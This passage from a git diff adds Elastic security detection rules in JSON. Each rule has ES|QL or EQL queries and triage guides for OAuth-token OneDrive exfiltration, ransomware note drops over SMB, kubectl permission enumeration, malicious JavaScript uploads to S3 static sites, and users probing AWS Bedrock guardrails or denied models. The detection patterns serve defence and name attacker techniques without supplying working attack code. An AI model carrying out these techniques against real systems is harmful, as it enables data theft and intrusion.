multi-valued policy name field\n| mv_expand gen_ai.policy.name\n| mv_expand gen_ai.policy.action\n\n// Filter for blocked actions related to sensitive info policy\n| where\n gen_ai.policy.action == \"BLOCKED\"\n and gen_ai.compliance.violation_detected == \"true\"\n and gen_ai.policy.name == \"sensitive_information_policy\"\n\n// keep only relevant fields\n| keep user.id\n\n// count how many times each user triggered a sensitive info block\n| stats\n Esql.ml_policy_blocked_sensitive_info_count = count()\n by user.id\n\n// Filter for users with more than 5 violations\n| where Esql.ml_policy_blocked_sensitive_info_count > 5\n\n// sort highest to lowest\n| sort Esql.ml_policy_blocked_sensitive_info_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0051", + "https://atlas.mitre.org/techniques/AML.T0054", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_policy_blocked_sensitive_info_count", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "0e1af929-42ed-4262-a846-55a7c54e7c84", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "medium", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Use Case: Policy Violation", + "Mitre Atlas: T0051", + "Mitre Atlas: T0054", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "0e1af929-42ed-4262-a846-55a7c54e7c84_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0e524fa6-eed3-11ef-82b4-f661ea17fbce_5.json b/packages/security_detection_engine/kibana/security_rule/0e524fa6-eed3-11ef-82b4-f661ea17fbce_5.json new file mode 100644 index 00000000000..22dcfc37caa --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0e524fa6-eed3-11ef-82b4-f661ea17fbce_5.json @@ -0,0 +1,99 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when an excessive number of files are downloaded from OneDrive using OAuth authentication. Adversaries may conduct phishing campaigns to steal OAuth tokens and impersonate users. These access tokens can then be used to download files from OneDrive.", + "false_positives": [ + "Legitimate users may download files from OneDrive using OAuth authentication. Ensure that the downloads are authorized and the user is known before taking action." + ], + "from": "now-9m", + "interval": "8m", + "language": "esql", + "license": "Elastic License v2", + "name": "M365 OneDrive Excessive File Downloads with OAuth Token", + "note": "## Triage and Analysis\n\n### Investigating M365 OneDrive Excessive File Downloads with OAuth Token\n\nThis rule detects an excessive number of files downloaded from OneDrive using OAuth authentication. Threat actors may use OAuth phishing attacks, such as **Device Code Authentication phishing**, to obtain valid access tokens and perform unauthorized data exfiltration. This method allows adversaries to bypass traditional authentication mechanisms, making it a stealthy and effective technique.\n\nThis rule leverages ESQL aggregations which limit the field values available in the alert document. To investigate further, it is recommended to identify the original documents ingested.\n\n#### Possible Investigation Steps\n\n- Review the `o365.audit.UserId` field to identify the user who performed the downloads. Check if this user typically downloads large amounts of data from OneDrive.\n- Correlate `o365.audit.UserId` with Entra Sign-In logs to verify the authentication method used and determine if it was expected for this user.\n- Review the authentication method used. If OAuth authentication was used, investigate whether it was expected for this user.\n- Identify the client application used for authentication. Determine if it is a legitimate enterprise-approved app or an unauthorized third-party application.\n- Check the number of unique files downloaded. If a user downloads a high volume of unique files in a short period, it may indicate data exfiltration.\n- Analyze the file types and directories accessed to determine if sensitive or confidential data was involved.\n- Investigate the source IP address and geolocation of the download activity. If it originates from an unusual or anonymized location, further scrutiny is needed.\n- Review other recent activities from the same user, such as file access, sharing, or permission changes, that may indicate further compromise.\n- Check for signs of session persistence using OAuth. If Azure sign-in logs are correlated where `authentication_protocol` or `originalTransferMethod` field shows `deviceCode`, the session was established through device code authentication.\n- Look for multiple authentication attempts from different devices or locations within a short timeframe, which could indicate unauthorized access.\n- Investigate if other OAuth-related anomalies exist, such as consent grants for unfamiliar applications or unexpected refresh token activity.\n- Review the `file.directory` value from the original documents to identify the specific folders or paths where the files were downloaded.\n\n### False Positive Analysis\n\n- Verify if the user regularly downloads large batches of files as part of their job function.\n- Determine if the downloads were triggered by an authorized automated process, such as a data backup or synchronization tool.\n- Confirm if the detected OAuth application is approved for enterprise use and aligns with expected usage patterns.\n\n### Response and Remediation\n\n- If unauthorized activity is confirmed, revoke the OAuth token used and terminate active OneDrive sessions.\n- Reset the affected user's password and require reauthentication to prevent continued unauthorized access.\n- Restrict OAuth app permissions and enforce conditional access policies to limit authentication to trusted devices and applications.\n- Monitor for additional signs of compromise, such as unusual email forwarding rules, external sharing of OneDrive files, or privilege escalation attempts.\n- Educate users on OAuth phishing risks and encourage the use of **Microsoft Defender for Office 365 Safe Links** to mitigate credential-based attacks.\n- Enable continuous monitoring for OAuth authentication anomalies using **Microsoft Entra ID sign-in logs** and security tools.\n", + "query": "from logs-o365.audit-*\n| where\n @timestamp > now() - 14d and\n event.dataset == \"o365.audit\" and\n event.provider == \"OneDrive\" and\n event.action == \"FileDownloaded\" and\n o365.audit.AuthenticationType == \"OAuth\" and\n event.outcome == \"success\"\n| eval\n Esql.time_window_date_trunc = date_trunc(1 minutes, @timestamp)\n| keep\n Esql.time_window_date_trunc,\n o365.audit.UserId,\n file.name,\n source.ip\n| stats\n Esql.file_name_count_distinct = count_distinct(file.name),\n Esql.event_count = count(*)\n by\n Esql.time_window_date_trunc,\n o365.audit.UserId,\n source.ip\n| where\n Esql.file_name_count_distinct >= 25\n", + "references": [ + "https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/" + ], + "related_integrations": [ + { + "package": "o365", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.file_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "o365.audit.UserId", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + } + ], + "risk_score": 47, + "rule_id": "0e524fa6-eed3-11ef-82b4-f661ea17fbce", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: SaaS", + "Data Source: Microsoft 365", + "Data Source: SharePoint", + "Data Source: OneDrive", + "Use Case: Threat Detection", + "Tactic: Collection", + "Tactic: Exfiltration", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0009", + "name": "Collection", + "reference": "https://attack.mitre.org/tactics/TA0009/" + }, + "technique": [ + { + "id": "T1530", + "name": "Data from Cloud Storage", + "reference": "https://attack.mitre.org/techniques/T1530/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0010", + "name": "Exfiltration", + "reference": "https://attack.mitre.org/tactics/TA0010/" + }, + "technique": [] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "0e524fa6-eed3-11ef-82b4-f661ea17fbce_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_212.json b/packages/security_detection_engine/kibana/security_rule/1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_212.json new file mode 100644 index 00000000000..decbbe79900 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_212.json @@ -0,0 +1,125 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule identifies the creation of multiple files with same name and over SMB by the same user. This behavior may indicate the successful remote execution of a ransomware dropping file notes to different folders.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Ransomware Behavior - Note Files by System", + "note": "## Triage and analysis\n\n#### Possible investigation steps\n\n- Investigate the content of the dropped files.\n- Investigate any file names with unusual extensions.\n- Investigate any incoming network connection to port 445 on this host.\n- Investigate any network logon events to this host.\n- Identify the total number and type of modified files by pid 4.\n- If the number of files is too high and source.ip connecting over SMB is unusual isolate the host and block the used credentials.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n\n### False positive analysis\n\n- Local file modification from a Kernel mode driver.\n\n### Related rules\n\n- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9\n- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921\n- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4\n- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57\n- Potential Ransomware Note File Dropped via SMB - 02bab13d-fb14-4d7c-b6fe-4a28874d37c5\n- Suspicious File Renamed via SMB - 78e9b5d5-7c07-40a7-a591-3dbbf464c386\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities.\n- If any backups were affected:\n - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.).\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-endpoint.events.file-* metadata _id, _version, _index\n\n// filter for file creation event done remotely over SMB with common user readable file types used to place ransomware notes\n| where event.category == \"file\" and host.os.type == \"windows\" and event.action == \"creation\" and process.pid == 4 and user.id != \"S-1-5-18\" and \n file.extension in (\"txt\", \"htm\", \"html\", \"hta\", \"pdf\", \"jpg\", \"bmp\", \"png\", \"pdf\")\n\n// truncate the timestamp to a 60-second window\n| eval Esql.time_window_date_trunc = date_trunc(60 seconds, @timestamp)\n\n| keep user.id, user.name, file.path, file.name, process.entity_id, Esql.time_window_date_trunc, host.name, host.ip\n\n// filter for same file name dropped in at least 3 unique paths by the System virtual process\n| stats Esql.file_path_count_distinct = COUNT_DISTINCT(file.path), Esql.file_path_values = VALUES(file.path), Esql.host_ip_values = values(host.ip) by host.name, user.name, user.id, process.entity_id , file.name, Esql.time_window_date_trunc\n| where Esql.file_path_count_distinct >= 3\n", + "references": [ + "https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.file_path_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.file_path_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": true, + "name": "file.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "1397e1b9-0c90-4d24-8d7b-80598eb9bc9a", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Impact", + "Resources: Investigation Guide", + "Data Source: Elastic Defend" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1485", + "name": "Data Destruction", + "reference": "https://attack.mitre.org/techniques/T1485/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1021", + "name": "Remote Services", + "reference": "https://attack.mitre.org/techniques/T1021/", + "subtechnique": [ + { + "id": "T1021.002", + "name": "SMB/Windows Admin Shares", + "reference": "https://attack.mitre.org/techniques/T1021/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 212 + }, + "id": "1397e1b9-0c90-4d24-8d7b-80598eb9bc9a_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/1600f9e2-5be6-4742-8593-1ba50cd94069_3.json b/packages/security_detection_engine/kibana/security_rule/1600f9e2-5be6-4742-8593-1ba50cd94069_3.json new file mode 100644 index 00000000000..e6b086935f7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/1600f9e2-5be6-4742-8593-1ba50cd94069_3.json @@ -0,0 +1,95 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the use of the \"kubectl auth --can-i\" command, which is used to check permissions in Kubernetes clusters. Attackers may use this command to enumerate permissions and discover potential misconfigurations in the cluster, allowing them to gain unauthorized access or escalate privileges.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Kubectl Permission Discovery", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Kubectl Permission Discovery\n\nKubectl is a command-line tool for interacting with Kubernetes clusters, allowing users to manage applications and resources. Adversaries may exploit the \"kubectl auth can-i\" command to probe for permission misconfigurations, potentially leading to unauthorized access or privilege escalation. The detection rule identifies this activity by monitoring specific command executions on Linux systems, flagging potential misuse for further investigation.\n\n### Possible investigation steps\n\n- Review the process execution details to confirm the use of the \"kubectl auth can-i\" command, focusing on the process name \"kubectl\" and arguments \"auth\" and \"can-i\".\n- Identify the user account associated with the execution of the command to determine if it aligns with expected administrative activity or if it indicates potential unauthorized access.\n- Check the timing and frequency of the command execution to assess whether it corresponds with routine operations or suggests suspicious behavior.\n- Investigate the source IP address or hostname from which the command was executed to verify if it originates from a known and trusted environment.\n- Examine related logs and events around the time of the alert to identify any subsequent actions that might indicate privilege escalation or unauthorized access attempts.\n- Cross-reference the alert with any recent changes or incidents in the Kubernetes cluster to determine if the command execution is part of a broader security concern.\n\n### False positive analysis\n\n- Routine administrative checks by authorized personnel can trigger the rule. To manage this, create exceptions for specific user accounts or roles that regularly perform these checks as part of their job duties.\n- Automated scripts or monitoring tools that verify permissions as part of their normal operation may cause false positives. Identify these scripts and whitelist their execution paths or associated service accounts.\n- Development and testing environments where developers frequently check permissions might lead to alerts. Consider excluding these environments from the rule or adjusting the risk score for these specific contexts.\n- Scheduled audits or compliance checks that involve permission verification can be mistaken for malicious activity. Document these activities and set up time-based exceptions to prevent unnecessary alerts during known audit periods.\n\n### Response and remediation\n\n- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized access or privilege escalation.\n- Revoke any suspicious or unauthorized credentials or tokens identified during the investigation to prevent further misuse.\n- Conduct a thorough review of the Kubernetes Role-Based Access Control (RBAC) configurations to identify and rectify any permission misconfigurations.\n- Implement stricter access controls and least privilege principles for Kubernetes users and service accounts to minimize the risk of unauthorized access.\n- Monitor for any additional suspicious activity or anomalies in the cluster, focusing on access patterns and command executions.\n- Escalate the incident to the security operations team for further analysis and to determine if additional clusters or systems are affected.\n- Update detection and monitoring systems to enhance visibility and alerting for similar permission discovery attempts in the future.\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and\nprocess.name == \"kubectl\" and process.args == \"auth\" and process.args == \"can-i\"\n", + "references": [ + "https://kubernetes.io/docs/reference/kubectl/generated/kubectl_auth/kubectl_auth_can-i/" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "1600f9e2-5be6-4742-8593-1ba50cd94069", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "Domain: Container", + "Domain: Kubernetes", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Discovery", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0007", + "name": "Discovery", + "reference": "https://attack.mitre.org/tactics/TA0007/" + }, + "technique": [ + { + "id": "T1613", + "name": "Container and Resource Discovery", + "reference": "https://attack.mitre.org/techniques/T1613/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 3 + }, + "id": "1600f9e2-5be6-4742-8593-1ba50cd94069_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/16acac42-b2f9-4802-9290-d6c30914db6e_4.json b/packages/security_detection_engine/kibana/security_rule/16acac42-b2f9-4802-9290-d6c30914db6e_4.json new file mode 100644 index 00000000000..0feab472d68 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/16acac42-b2f9-4802-9290-d6c30914db6e_4.json @@ -0,0 +1,146 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend.", + "false_positives": [ + "Development or deployment pipelines that update static frontends frequently (e.g., React/Vue apps) may trigger this. Verify the user agent, source IP, and whether the modification was expected." + ], + "from": "now-6m", + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "aws.cloudtrail.resources.arn", + "aws.cloudtrail.resources.type", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "esql", + "license": "Elastic License v2", + "name": "AWS S3 Static Site JavaScript File Uploaded", + "note": "## Triage and Analysis\n\n### Investigating AWS S3 Static Site JavaScript File Uploaded\n\nAn S3 `PutObject` action that targets a path like `static/js/` and uploads a `.js` file is a potential signal for web content modification. If done by an unexpected IAM user or outside of CI/CD workflows, it may indicate a compromise.\n\n#### Possible Investigation Steps\n\n- **Identify the Source User**: Check `aws.cloudtrail.user_identity.arn`, access key ID, and session type (`IAMUser`, `AssumedRole`, etc).\n- **Review File Content**: Use the S3 `GetObject` or CloudTrail `requestParameters` to inspect the uploaded file for signs of obfuscation or injection.\n- **Correlate to Other Events**: Review events from the same IAM user before and after the upload (e.g., `ListBuckets`, `GetCallerIdentity`, IAM activity).\n- **Look for Multiple Uploads**: Attackers may attempt to upload several files or modify multiple directories.\n\n### False Positive Analysis\n\n- This behavior may be expected during app deployments. Look at:\n - The `user_agent.original` to detect legitimate CI tools (like Terraform or GitHub Actions).\n - Timing patterns\u2014does this match a regular release window?\n - The origin IP and device identity.\n\n### Response and Remediation\n\n- **Revert Malicious Code**: Replace the uploaded JS file with a clean version and invalidate CloudFront cache if applicable.\n- **Revoke Access**: If compromise is confirmed, revoke the IAM credentials and disable the user.\n- **Audit IAM Policies**: Ensure that only deployment users can modify static site buckets.\n- **Enable Bucket Versioning**: This can allow for quick rollback and historical review.\n", + "query": "from logs-aws.cloudtrail* metadata _id, _version, _index\n\n| where\n // S3 object write activity\n event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"PutObject\"\n and event.outcome == \"success\"\n\n // IAM users or assumed roles only\n and aws.cloudtrail.user_identity.type in (\"IAMUser\", \"AssumedRole\")\n\n // Requests for static site bundles\n and aws.cloudtrail.request_parameters like \"*static/js/*.js*\"\n\n // Exclude IaC and automation tools\n and not (\n user_agent.original like \"*Terraform*\"\n or user_agent.original like \"*Ansible*\"\n or user_agent.original like \"*Pulumi*\"\n )\n\n// Extract fields from request parameters\n| dissect aws.cloudtrail.request_parameters\n \"%{{?bucket.name.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_name}, %{?host.key}=%{Esql_priv.aws_cloudtrail_request_parameters_host}, %{?bucket.object.location.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_object_location}}\"\n\n// Extract file name portion from full object path\n| dissect Esql.aws_cloudtrail_request_parameters_bucket_object_location \"%{}static/js/%{Esql.aws_cloudtrail_request_parameters_object_key}\"\n\n// Match on JavaScript files\n| where ends_with(Esql.aws_cloudtrail_request_parameters_object_key, \".js\")\n\n// Retain relevant ECS and dissected fields\n| keep\n aws.cloudtrail.user_identity.arn,\n aws.cloudtrail.user_identity.access_key_id,\n aws.cloudtrail.user_identity.type,\n aws.cloudtrail.request_parameters,\n Esql.aws_cloudtrail_request_parameters_bucket_name,\n Esql.aws_cloudtrail_request_parameters_object_key,\n user_agent.original,\n source.ip,\n event.action,\n @timestamp\n", + "references": [ + "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/", + "https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html", + "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html" + ], + "related_integrations": [ + { + "package": "aws", + "version": "^4.0.0" + }, + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "@timestamp", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.aws_cloudtrail_request_parameters_bucket_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.aws_cloudtrail_request_parameters_object_key", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.access_key_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.arn", + "type": "keyword" + }, + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "user_agent.original", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "16acac42-b2f9-4802-9290-d6c30914db6e", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS S3", + "Tactic: Impact", + "Use Case: Web Application Compromise", + "Use Case: Cloud Threat Detection", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0040", + "name": "Impact", + "reference": "https://attack.mitre.org/tactics/TA0040/" + }, + "technique": [ + { + "id": "T1565", + "name": "Data Manipulation", + "reference": "https://attack.mitre.org/techniques/T1565/", + "subtechnique": [ + { + "id": "T1565.001", + "name": "Stored Data Manipulation", + "reference": "https://attack.mitre.org/techniques/T1565/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "16acac42-b2f9-4802-9290-d6c30914db6e_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/17261da3-a6d0-463c-aac8-ea1718afcd20_6.json b/packages/security_detection_engine/kibana/security_rule/17261da3-a6d0-463c-aac8-ea1718afcd20_6.json new file mode 100644 index 00000000000..4fb34398592 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/17261da3-a6d0-463c-aac8-ea1718afcd20_6.json @@ -0,0 +1,78 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs.", + "false_positives": [ + "Legitimate misunderstanding by users or overly strict policies" + ], + "from": "now-60m", + "interval": "10m", + "investigation_fields": { + "field_names": [ + "user.id", + "cloud.account.id", + "gen_ai.request.model.id", + "total_denials" + ] + }, + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Bedrock Detected Multiple Attempts to use Denied Models by a Single User", + "note": "## Triage and analysis\n\n### Investigating AWS Bedrock Detected Multiple Attempts to use Denied Models by a Single User\n\nAmazon Bedrock is AWS\u2019s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers.\n\nBedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs.\n\n#### Possible investigation steps\n\n- Identify the user account that attempted to use denied models.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that attempted to use denied models, is a legitimate misunderstanding by users or overly strict policies.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from logs-aws_bedrock.invocation-*\n\n// Filter for access denied errors from GenAI responses\n| where gen_ai.response.error_code == \"AccessDeniedException\"\n\n// keep ECS and response fields\n| keep\n user.id,\n gen_ai.request.model.id,\n cloud.account.id,\n gen_ai.response.error_code\n\n// count total denials per user/model/account\n| stats\n Esql.ml_response_access_denied_count = count(*)\n by\n user.id,\n gen_ai.request.model.id,\n cloud.account.id\n\n// Filter for users with repeated denials\n| where Esql.ml_response_access_denied_count > 3\n\n// sort by volume of denials\n| sort Esql.ml_response_access_denied_count desc\n", + "references": [ + "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", + "https://atlas.mitre.org/techniques/AML.T0015", + "https://atlas.mitre.org/techniques/AML.T0034", + "https://www.elastic.co/security-labs/elastic-advances-llm-security" + ], + "related_integrations": [ + { + "package": "aws_bedrock", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.ml_response_access_denied_count", + "type": "long" + }, + { + "ecs": true, + "name": "cloud.account.id", + "type": "keyword" + }, + { + "ecs": false, + "name": "gen_ai.request.model.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "17261da3-a6d0-463c-aac8-ea1718afcd20", + "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", + "severity": "high", + "tags": [ + "Domain: LLM", + "Data Source: AWS Bedrock", + "Data Source: AWS S3", + "Resources: Investigation Guide", + "Use Case: Policy Violation", + "Mitre Atlas: T0015", + "Mitre Atlas: T0034" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "17261da3-a6d0-463c-aac8-ea1718afcd20_6", + "type": "security-rule" +} 